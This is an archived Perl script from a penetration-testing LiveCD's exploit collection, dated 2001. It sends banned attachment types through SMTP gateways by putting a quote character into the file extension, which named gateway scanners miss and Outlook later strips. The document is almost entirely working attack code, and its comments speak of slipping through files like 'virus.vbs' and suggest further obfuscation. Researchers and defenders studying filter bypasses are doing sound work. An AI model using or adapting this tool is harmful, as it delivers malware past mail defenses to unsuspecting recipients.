home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / outlook / smtp-a-x.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  101 lines

  1. #!/usr/bin/perl
  2.  
  3. # attqt.pl 0.1 by Aidan O'Kelly July 2001
  4. # Send banned attachments through SMTP gateways, this works because MS
  5. Outlook removes illegal
  6. # characters in filenames. So when you put an illegal char (such as ") in
  7. the extension. The Gateway will
  8. # not recognize it as a dangerous attachment. However, when the user on
  9. the other end opens it the illegal
  10. # char will be removed.
  11. #
  12. # Feedback welcome. aidan.ok@oceanfree.net
  13. #
  14. # This is known to work on MailMarshall and TrendMicro Scanmail. Others
  15. have not been tested but most are
  16. # probably vulnerable. If it works on any others, please mail me and let
  17. me know.
  18. # This only puts in one quote after the dot (eg virus."vbs or virus."exe)
  19. # Some gateways might still pick up on the vbs. you can put in more or
  20. different
  21. # charachters like virus.%v"b********s if you feel like it.
  22. # $filename =~ s/\./\.\"/g; is the line that changes it.
  23.  
  24.  
  25. use Getopt::Std;
  26. use MIME::Base64 qw(encode_base64);
  27. use IO::Socket::INET;
  28.  
  29.  
  30. getopt('atfhsb');
  31.  
  32. if (!$opt_a || !$opt_f || !$opt_t || !$opt_h)
  33. {
  34.   print "Usage: attqt.pl <-a attachment> <-t to> <-f from> <-h smtphost>
  35. [-s subject] [-b text]\n";
  36.   exit;
  37. }
  38.  
  39. open(FILE, $opt_a) or die "$!";
  40. binmode FILE;
  41.    while (read(FILE, $buf, 60*57)) {
  42.        $attachment = $attachment . encode_base64($buf);
  43.    }
  44. close(FILE);
  45. $filename = $opt_a;
  46. $filename =~ s/\./\.\"/g;
  47. print "$filename\n";
  48. $sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto
  49. => 'tcp');
  50. unless (<$sock> =~ "220") { die "Not a SMTP Server?" }
  51. print $sock "HELO you\r\n";
  52. unless (<$sock> =~ "250") { die "HELO failed" }
  53. print $sock "MAIL FROM:<>\r\n";
  54. unless (<$sock> =~ "250") { die "MAIL FROM failed" }
  55. print $sock "RCPT TO:<$opt_t>\r\n";
  56. unless (<$sock> =~ "250") { die "RCPT TO failed" }
  57. print $sock "DATA\r\n";
  58. unless (<$sock> =~ "354") { die "DATA failed" }
  59.  
  60.  
  61. print $sock "From: $opt_f\n";
  62. print $sock "To: $opt_t\n";
  63. print $sock "Subject: $opt_s\n";
  64.  
  65. print $sock "MIME-Version: 1.0
  66. Content-Type: multipart/related;
  67.         type=\"multipart/alternative\";
  68.         boundary=\"NextPart19\"
  69.  
  70. This is a multi-part message in MIME format.
  71.  
  72. --NextPart19
  73. Content-Type: multipart/alternative;
  74.  
  75.         boundary=\"NextPart20\"
  76.  
  77. --NextPart20
  78. Content-Type: text/plain
  79. Content-Transfer-Encoding: quoted-printable
  80.  
  81. --NextPart20
  82. Content-Type: text/html;
  83.         charset=\"iso-8859-1\"
  84. Content-Transfer-Encoding: quoted-printable
  85.  
  86. ";
  87. print $sock "$opt_b\n";
  88. print $sock "--NextPart20--
  89.  
  90. --NextPart19
  91. Content-Type: application/x-msdownload
  92. Content-Disposition: attachment;filename=\"$filename\"
  93. Content-Transfer-Encoding: base64\r\n\n";
  94. print $sock $attachment;
  95.  
  96. print $sock "\r\n--NextPart19--\n.\n";
  97. print "Finished sending data\n";
  98. $a = <$sock>;
  99. print "$a\n";
  100. close($sock);
  101.